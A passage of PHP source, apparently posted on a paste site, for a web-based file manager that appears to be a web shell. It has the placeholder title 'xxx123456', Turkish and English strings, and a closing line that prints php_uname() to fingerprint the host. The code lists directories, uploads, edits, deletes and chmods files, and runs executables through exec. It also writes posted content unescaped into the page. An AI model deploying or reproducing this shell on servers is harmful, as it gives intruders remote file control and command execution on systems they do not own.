  1064.     global $self, $directory, $sort, $reverse;
  1065.  
  1066.     html_header();
  1067.  
  1068.     $list = getlist($directory);
  1069.  
  1070.     if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
  1071.     if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
  1072.  
  1073.     $list = sortlist($list, $sort, $reverse);
  1074.  
  1075.     echo '<h1 style="margin-bottom: 0"></h1>
  1076.  
  1077. <form enctype="multipart/form-data" action="' . $self . '" method="post">
  1078.  
  1079. <table id="main">
  1080. ';
  1081.  
  1082.     directory_choice();
  1083.  
  1084.     if (!empty($message)) {
  1085.         spacer();
  1086.         echo $message;
  1087.     }
  1088.  
  1089.     if (@is_writable($directory)) {
  1090.         upload_box();
  1091.         create_box();
  1092.     } else {
  1093.         spacer();
  1094.     }
  1095.  
  1096.     if ($list) {
  1097.         listing($list);
  1098.     } else {
  1099.         echo error('not_readable', $directory);
  1100.     }
  1101.  
  1102.     echo '</table>
  1103.  
  1104. </form>
  1105.  
  1106. ';
  1107.  
  1108.     html_footer();
  1109.  
  1110. }
  1111.  
  1112. function listing ($list) {
  1113.     global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
  1114.  
  1115.     echo '<tr class="listing">
  1116.     <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
  1117. ';
  1118.  
  1119.     column_title('filename', $sort, $reverse);
  1120.     column_title('size', $sort, $reverse);
  1121.  
  1122.     if (!$win) {
  1123.         column_title('permission', $sort, $reverse);
  1124.         column_title('owner', $sort, $reverse);
  1125.         column_title('group', $sort, $reverse);
  1126.     }
  1127.  
  1128.     echo '  <th class="functions">' . word('functions') . '</th>
  1129. </tr>
  1130. ';
  1131.  
  1132.     for ($i = 0; $i < sizeof($list); $i++) {
  1133.         $file = $list[$i];
  1134.  
  1135.         $timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
  1136.         $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
  1137.         $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
  1138.  
  1139.         echo '<tr class="listing">
  1140.     <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
  1141.     <td class="filename" title="' . html($timestamps) . '">';
  1142.  
  1143.         if ($file['is_link']) {
  1144.  
  1145.             echo '<img src="' . $self . '?image=link" alt="link" /> ';
  1146.             echo html($file['filename']) . ' &rarr; ';
  1147.  
  1148.             $real_file = relative2absolute($file['target'], $directory);
  1149.  
  1150.             if (@is_readable($real_file)) {
  1151.                 if (@is_dir($real_file)) {
  1152.                     echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
  1153.                 } else {
  1154.                     echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
  1155.                 }
  1156.             } else {
  1157.                 echo html($file['target']);
  1158.             }
  1159.  
  1160.         } elseif ($file['is_dir']) {
  1161.  
  1162.             echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
  1163.             if ($win || $file['is_executable']) {
  1164.                 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1165.             } else {
  1166.                 echo html($file['filename']);
  1167.             }
  1168.             echo ' ]';
  1169.  
  1170.         } else {
  1171.  
  1172.             if (substr($file['filename'], 0, 1) == '.') {
  1173.                 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
  1174.             } else {
  1175.                 echo '<img src="' . $self . '?image=file" alt="file" /> ';
  1176.             }
  1177.  
  1178.             if ($file['is_file'] && $file['is_readable']) {
  1179.                echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1180.             } else {
  1181.                 echo html($file['filename']);
  1182.             }
  1183.  
  1184.         }
  1185.  
  1186.         if ($file['size'] >= 1000) {
  1187.             $human = ' title="' . human_filesize($file['size']) . '"';
  1188.         } else {
  1189.             $human = '';
  1190.         }
  1191.  
  1192.         echo "</td>\n";
  1193.  
  1194.         echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
  1195.  
  1196.         if (!$win) {
  1197.  
  1198.             echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
  1199.  
  1200.             $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
  1201.             if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
  1202.             echo html(permission_octal2string($file['permission']));
  1203.             if ($l) echo '</a>';
  1204.  
  1205.             echo "</td>\n";
  1206.  
  1207.             if (array_key_exists('owner_name', $file)) {
  1208.                 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
  1209.             } else {
  1210.                 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
  1211.             }
  1212.  
  1213.             if (array_key_exists('group_name', $file)) {
  1214.                 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
  1215.             } else {
  1216.                 echo "\t<td class=\"group\">{$file['group']}</td>\n";
  1217.             }
  1218.  
  1219.         }
  1220.  
  1221.         echo '  <td class="functions">
  1222.         <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
  1223. ';
  1224.  
  1225.         $actions = array();
  1226.         if (function_exists('symlink')) {
  1227.             $actions[] = 'create_symlink';
  1228.         }
  1229.         if (@is_writable(dirname($file['path']))) {
  1230.             $actions[] = 'delete';
  1231.             $actions[] = 'rename';
  1232.             $actions[] = 'move';
  1233.         }
  1234.         if ($file['is_file'] && $file['is_readable']) {
  1235.             $actions[] = 'copy';
  1236.             $actions[] = 'download';
  1237.             if ($file['is_writable']) $actions[] = 'edit';
  1238.         }
  1239.         if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
  1240.             $actions[] = 'execute';
  1241.         }
  1242.  
  1243.         if (sizeof($actions) > 0) {
  1244.  
  1245.             echo '      <select class="small" name="action' . $i . '" size="1">
  1246.         <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1247. ';
  1248.  
  1249.             foreach ($actions as $action) {
  1250.                 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1251.             }
  1252.  
  1253.             echo '      </select>
  1254.         <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
  1255. ';
  1256.  
  1257.         }
  1258.  
  1259.         echo '  </td>
  1260. </tr>
  1261. ';
  1262.  
  1263.     }
  1264.  
  1265.     echo '<tr class="listing_footer">
  1266.     <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
  1267.     <td colspan="' . ($cols - 1) . '">
  1268.         <input type="hidden" name="num" value="' . sizeof($list) . '" />
  1269.         <input type="hidden" name="focus" value="" />
  1270.         <input type="hidden" name="olddir" value="' . html($directory) . '" />
  1271. ';
  1272.  
  1273.     $actions = array();
  1274.     if (@is_writable(dirname($file['path']))) {
  1275.         $actions[] = 'delete';
  1276.         $actions[] = 'move';
  1277.     }
  1278.     $actions[] = 'copy';
  1279.  
  1280.     echo '      <select class="small" name="action_all" size="1">
  1281.         <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1282. ';
  1283.  
  1284.     foreach ($actions as $action) {
  1285.         echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1286.     }
  1287.  
  1288.     echo '      </select>
  1289.         <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
  1290.     </td>
  1291. </tr>
  1292. ';
  1293.  
  1294. }
  1295.  
  1296. function column_title ($column, $sort, $reverse) {
  1297.     global $self, $directory;
  1298.  
  1299.     $d = 'dir=' . urlencode($directory) . '&amp;';
  1300.  
  1301.     if ($sort == $column) {
  1302.         if (!$reverse) {
  1303.             $r = '&amp;reverse=true';
  1304.             $arr = ' &and;';
  1305.         } else {
  1306.             $arr = ' &or;';
  1307.         }
  1308.     } else {
  1309.         $r = '';
  1310.     }
  1311.     echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";
  1312.  
  1313. }
  1314.  
  1315. function directory_choice () {
  1316.     global $directory, $homedir, $cols, $self;
  1317.  
  1318.     echo '<tr>
  1319.     <td colspan="' . $cols . '" id="directory">
  1320.         <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
  1321.         <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
  1322.         <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
  1323.     </td>
  1324. </tr>
  1325. ';
  1326.  
  1327. }
  1328.  
  1329. function upload_box () {
  1330.     global $cols;
  1331.  
  1332.     echo '<tr>
  1333.     <td colspan="' . $cols . '" id="upload">
  1334.         ' . word('file') . ':
  1335.         <input type="file" name="upload" onfocus="activate(\'other\')" />
  1336.         <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
  1337.     </td>
  1338. </tr>
  1339. ';
  1340.  
  1341. }
  1342.  
  1343. function create_box () {
  1344.     global $cols;
  1345.  
  1346.     echo '<tr>
  1347.     <td colspan="' . $cols . '" id="create">
  1348.         <select name="create_type" size="1" onfocus="activate(\'create\')">
  1349.         <option value="file">' . word('file') . '</option>
  1350.         <option value="directory">' . word('directory') . '</option>
  1351.         </select>
  1352.         <input type="text" name="create_name" onfocus="activate(\'create\')" />
  1353.         <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
  1354.     </td>
  1355. </tr>
  1356. ';
  1357.  
  1358. }
  1359.  
  1360. function edit ($file) {
  1361.     global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
  1362.  
  1363.     html_header();
  1364.  
  1365.     echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
  1366.  
  1367. <form action="' . $self . '" method="post">
  1368.  
  1369. <table class="dialog">
  1370. <tr>
  1371. <td class="dialog">
  1372.  
  1373.     <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
  1374.  
  1375.     if (array_key_exists('content', $_POST)) {
  1376.         echo $_POST['content'];
  1377.     } else {
  1378.         $f = fopen($file, 'r');
  1379.         while (!feof($f)) {
  1380.             echo html(fread($f, 8192));
  1381.         }
  1382.         fclose($f);
  1383.     }
  1384.  
  1385.     if (!empty($_POST['user'])) {
  1386.         echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
  1387.     }
  1388.     if (!empty($_POST['basic_auth'])) {
  1389.         if ($win) {
  1390.             $authfile = str_replace('\\', '/', $directory) . $htpasswd;
  1391.         } else {
  1392.             $authfile = $directory . $htpasswd;
  1393.         }
  1394.         echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
  1395.         echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
  1396.         echo 'Require valid-user';
  1397.     }
  1398.  
  1399.     echo '</textarea>
  1400.  
  1401.     <hr />
  1402. ';
  1403.  
  1404.     if ($apache && basename($file) == $htpasswd) {
  1405.         echo '
  1406.     ' . word('user') . ': <input type="text" name="user" />
  1407.     ' . word('password') . ': <input type="password" name="password" />
  1408.     <input type="submit" value="' . word('add') . '" />
  1409.  
  1410.     <hr />
  1411. ';
  1412.  
  1413.     }
  1414.  
  1415.     if ($apache && basename($file) == $htaccess) {
  1416.         echo '
  1417.     <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
  1418.  
  1419.     <hr />
  1420. ';
  1421.  
  1422.     }
  1423.  
  1424.     echo '
  1425.     <input type="hidden" name="action" value="edit" />
  1426.     <input type="hidden" name="file" value="' . html($file) . '" />
  1427.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  1428.     <input type="reset" value="' . word('reset') . '" id="red_button" />
  1429.     <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
  1430.  
  1431. </td>
  1432. </tr>
  1433. </table>
  1434.  
  1435. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  1436.  
  1437. </form>
  1438.  
  1439. ';
  1440.  
  1441.     html_footer();
  1442.  
  1443. }
  1444.  
  1445. function spacer () {
  1446.     global $cols;
  1447.  
  1448.     echo '<tr>
  1449.     <td colspan="' . $cols . '" style="height: 1em"></td>
  1450. </tr>
  1451. ';
  1452.  
  1453. }
  1454.  
  1455. function textfieldsize ($content) {
  1456.  
  1457.     $size = strlen($content) + 5;
  1458.     if ($size < 30) $size = 30;
  1459.  
  1460.     return $size;
  1461.  
  1462. }
  1463.  
  1464. function request_dump () {
  1465.  
  1466.     foreach ($_REQUEST as $key => $value) {
  1467.         echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
  1468.     }
  1469.  
  1470. }
  1471.  
  1472. /* ------------------------------------------------------------------------- */
  1473.  
  1474. function html ($string) {
  1475.     global $site_charset;
  1476.     return htmlentities($string, ENT_COMPAT, $site_charset);
  1477. }
  1478.  
  1479. function word ($word) {
  1480.     global $words, $word_charset;
  1481.     return htmlentities($words[$word], ENT_COMPAT, $word_charset);
  1482. }
  1483.  
  1484. function phrase ($phrase, $arguments) {
  1485.     global $words;
  1486.     static $search;
  1487.  
  1488.     if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
  1489.  
  1490.     for ($i = 0; $i < sizeof($arguments); $i++) {
  1491.         $arguments[$i] = nl2br(html($arguments[$i]));
  1492.     }
  1493.  
  1494.     $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
  1495.  
  1496.     return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
  1497.  
  1498. }
  1499.  
  1500. function getwords ($lang) {
  1501.     global $word_charset, $date_format;
  1502.  
  1503.     switch ($lang) {
  1504.     case 'tr':
  1505.  
  1506.         $date_format = 'n/j/y H:i:s';
  1507.         $word_charset = 'ISO-8859-1';
  1508.  
  1509.         return array(
  1510. 'directory' => 'Klasor',
  1511. 'file' => 'Dosya',
  1512. 'filename' => 'dosya adi',
  1513.  
  1514. 'size' => 'boyutu',
  1515. 'permission' => 'Izin',
  1516. 'owner' => 'sahib',
  1517. 'group' => 'Grup',
  1518. 'other' => 'Digerleri',
  1519. 'functions' => 'Fonksiyonlar',
  1520.  
  1521. 'read' => 'oku',
  1522. 'write' => 'yaz',
  1523. 'execute' => 'calistir',
  1524.  
  1525. 'create_symlink' => 'yarat symlink',
  1526. 'delete' => 'sil',
  1527. 'rename' => 'ad degistir',
  1528. 'move' => 'tasi',
  1529. 'copy' => 'kopyala',
  1530. 'edit' => 'duzenle',
  1531. 'download' => 'indir',
  1532. 'upload' => 'yukle',
  1533. 'create' => 'create',
  1534. 'change' => 'degistir',
  1535. 'save' => 'kaydet',
  1536. 'set' => 'ayar',
  1537. 'reset' => 'sifirla',
  1538. 'relative' => 'Hedef yola gore',
  1539.  
  1540. 'yes' => 'Evet',
  1541. 'no' => 'Hayir',
  1542. 'back' => 'Geri',
  1543. 'destination' => 'Hedef',
  1544. 'symlink' => 'Kisa yol',
  1545. 'no_output' => '�§ikti yok',
  1546.  
  1547. 'user' => 'Kullanici',
  1548. 'password' => 'Sifre',
  1549. 'add' => 'ekle',
  1550. 'add_basic_auth' => 'ekle basit-authentification',
  1551.  
  1552. 'uploaded' => '"[%1]" yuklendi.',
  1553. 'not_uploaded' => '"[%1]" yuklenemedi.',
  1554. 'already_exists' => '"[%1]" kullanilmakta.',
  1555. 'created' => '"[%1]" olusturuldu.',
  1556. 'not_created' => '"[%1]" olusturulamadi.',
  1557. 'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
  1558. 'deleted' => "Bu dosyalar silindi:\n[%1]",
  1559. 'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
  1560. 'rename_file' => 'Adi degisen dosya:',
  1561. 'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
  1562. 'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
  1563. 'move_files' => 'Tasinan dosyalar:',
  1564. 'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
  1565. 'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
  1566. 'copy_files' => 'Kopyalanan dosyalar:',
  1567. 'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
  1568. 'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
  1569. 'not_edited' => '"[%1]" duzenlenemiyor.',
  1570. 'executed' => "\"[%1]\" basariyla calistirildi:\n{%2}",
  1571. 'not_executed' => "\"[%1]\" calitirilamadi:\n{%2}",
  1572. 'saved' => '"[%1]" kaydedildi.',
  1573. 'not_saved' => '"[%1]" kaydedilemedi.',
  1574. 'symlinked' => '"[%2]" den "[%1]" e kisayol olusturuldu.',
  1575. 'not_symlinked' => '"[%2]"den "[%1]" e kisayol olusturulamadi.',
  1576. 'permission_for' => 'Izinler "[%1]":',
  1577. 'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
  1578. 'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
  1579. 'not_readable' => '"[%1]" okunamiyor.'
  1580.         );
  1581.  
  1582.     case 'en':
  1583.     default:
  1584.  
  1585.         $date_format = 'n/j/y H:i:s';
  1586.         $word_charset = 'ISO-8859-1';
  1587.  
  1588.         return array(
  1589. 'directory' => 'Directory',
  1590. 'file' => 'File',
  1591. 'filename' => 'Filename',
  1592.  
  1593. 'size' => 'Size',
  1594. 'permission' => 'Permission',
  1595. 'owner' => 'Owner',
  1596. 'group' => 'Group',
  1597. 'other' => 'Others',
  1598. 'functions' => 'Functions',
  1599.  
  1600. 'read' => 'read',
  1601. 'write' => 'write',
  1602. 'execute' => 'execute',
  1603.  
  1604. 'create_symlink' => 'create symlink',
  1605. 'delete' => 'delete',
  1606. 'rename' => 'rename',
  1607. 'move' => 'move',
  1608. 'copy' => 'copy',
  1609. 'edit' => 'edit',
  1610. 'download' => 'download',
  1611. 'upload' => 'upload',
  1612. 'create' => 'create',
  1613. 'change' => 'change',
  1614. 'save' => 'save',
  1615. 'set' => 'set',
  1616. 'reset' => 'reset',
  1617. 'relative' => 'Relative path to target',
  1618.  
  1619. 'yes' => 'Yes',
  1620. 'no' => 'No',
  1621. 'back' => 'back',
  1622. 'destination' => 'Destination',
  1623. 'symlink' => 'Symlink',
  1624. 'no_output' => 'no output',
  1625.  
  1626. 'user' => 'User',
  1627. 'password' => 'Password',
  1628. 'add' => 'add',
  1629. 'add_basic_auth' => 'add basic-authentification',
  1630.  
  1631. 'uploaded' => '"[%1]" has been uploaded.',
  1632. 'not_uploaded' => '"[%1]" could not be uploaded.',
  1633. 'already_exists' => '"[%1]" already exists.',
  1634. 'created' => '"[%1]" has been created.',
  1635. 'not_created' => '"[%1]" could not be created.',
  1636. 'really_delete' => 'Delete these files?',
  1637. 'deleted' => "These files have been deleted:\n[%1]",
  1638. 'not_deleted' => "These files could not be deleted:\n[%1]",
  1639. 'rename_file' => 'Rename file:',
  1640. 'renamed' => '"[%1]" has been renamed to "[%2]".',
  1641. 'not_renamed' => '"[%1] could not be renamed to "[%2]".',
  1642. 'move_files' => 'Move these files:',
  1643. 'moved' => "These files have been moved to \"[%2]\":\n[%1]",
  1644. 'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
  1645. 'copy_files' => 'Copy these files:',
  1646. 'copied' => "These files have been copied to \"[%2]\":\n[%1]",
  1647. 'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
  1648. 'not_edited' => '"[%1]" can not be edited.',
  1649. 'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
  1650. 'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
  1651. 'saved' => '"[%1]" has been saved.',
  1652. 'not_saved' => '"[%1]" could not be saved.',
  1653. 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
  1654. 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
  1655. 'permission_for' => 'Permission of "[%1]":',
  1656. 'permission_set' => 'Permission of "[%1]" was set to [%2].',
  1657. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  1658. 'not_readable' => '"[%1]" can not be read.'
  1659.         );
  1660.  
  1661.     }
  1662.  
  1663. }
  1664.  
  1665. function getimage ($image) {
  1666.     switch ($image) {
  1667.     case 'file':
  1668.         return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  1669.     case 'folder':
  1670.         return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
  1671.     case 'hidden_file':
  1672.         return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  1673.     case 'link':
  1674.         return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
  1675.     case 'smiley':
  1676.         return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
  1677.     case 'arrow':
  1678.         return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
  1679.     }
  1680. }
  1681.  
  1682. function html_header () {
  1683.     global $site_charset;
  1684.  
  1685.     echo <<<END
  1686. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  1687.      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  1688. <html xmlns="http://www.w3.org/1999/xhtml">
  1689. <head>
  1690.  
  1691. <meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
  1692.  
  1693. <title>xxx123456</title>
  1694.  
  1695. <style type="text/css">
  1696. body { font: small sans-serif; text-align: center }
  1697. img { width: 17px; height: 13px }
  1698. a, a:visited { text-decoration: none; color: navy }
  1699. hr { border-style: none; height: 1px; background-color: silver; color: silver }
  1700. #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
  1701. #main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
  1702. .listing th, .listing td { padding: 1px 3pt 0 3pt }
  1703. .listing th { border: 1px solid silver }
  1704. .listing td { border: 1px solid #ddd; background: white }
  1705. .listing .checkbox { text-align: center }
  1706. .listing .filename { text-align: left }
  1707. .listing .size { text-align: right }
  1708. .listing th.permission { text-align: left }
  1709. .listing td.permission { font-family: monospace }
  1710. .listing .owner { text-align: left }
  1711. .listing .group { text-align: left }
  1712. .listing .functions { text-align: left }
  1713. .listing_footer td { background: #eee; border: 1px solid silver }
  1714. #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
  1715. #directory { background: #eee; border: 1px solid silver }
  1716. #upload { padding-top: 1em }
  1717. #create { padding-bottom: 1em }
  1718. .small, .small option { font-size: x-small }
  1719. textarea { border: none; background: white }
  1720. table.dialog { margin-left: auto; margin-right: auto }
  1721. td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
  1722. #permission { margin-left: auto; margin-right: auto }
  1723. #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
  1724. td.permission_action { text-align: right }
  1725. #symlink { background: #eee; border: 1px solid silver }
  1726. #symlink td { text-align: left; padding: 3pt }
  1727. #red_button { width: 120px; color: #400 }
  1728. #green_button { width: 120px; color: #040 }
  1729. #error td { background: maroon; color: white; border: 1px solid silver }
  1730. #notice td { background: green; color: white; border: 1px solid silver }
  1731. #notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
  1732. code { font-size: 12pt }
  1733. td { white-space: nowrap }
  1734. </style>
  1735.  
  1736. <script type="text/javascript">
  1737. <!--
  1738. function activate (name) {
  1739.     if (document && document.forms[0] && document.forms[0].elements['focus']) {
  1740.         document.forms[0].elements['focus'].value = name;
  1741.     }
  1742. }
  1743. //-->
  1744. </script>
  1745.  
  1746. </head>
  1747. <body>
  1748.  
  1749.  
  1750. END;
  1751.  
  1752. }
  1753.  
  1754. function html_footer () {
  1755.  
  1756.     echo <<<END
  1757. </body>
  1758. </html>
  1759. END;
  1760.  
  1761. }
  1762.  
  1763. function notice ($phrase) {
  1764.     global $cols;
  1765.  
  1766.     $args = func_get_args();
  1767.     array_shift($args);
  1768.  
  1769.     return '<tr id="notice">
  1770.     <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  1771. </tr>
  1772. ';
  1773.  
  1774. }
  1775.  
  1776. function error ($phrase) {
  1777.     global $cols;
  1778.  
  1779.     $args = func_get_args();
  1780.     array_shift($args);
  1781.  
  1782.     return '<tr id="error">
  1783.     <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  1784. </tr>
  1785. ';
  1786.  
  1787. }
  1788. echo '<b>x<br><br>'.php_uname().'<br></b>';
  1789. ?>
Advertisement
Add Comment
Please, Sign In to add comment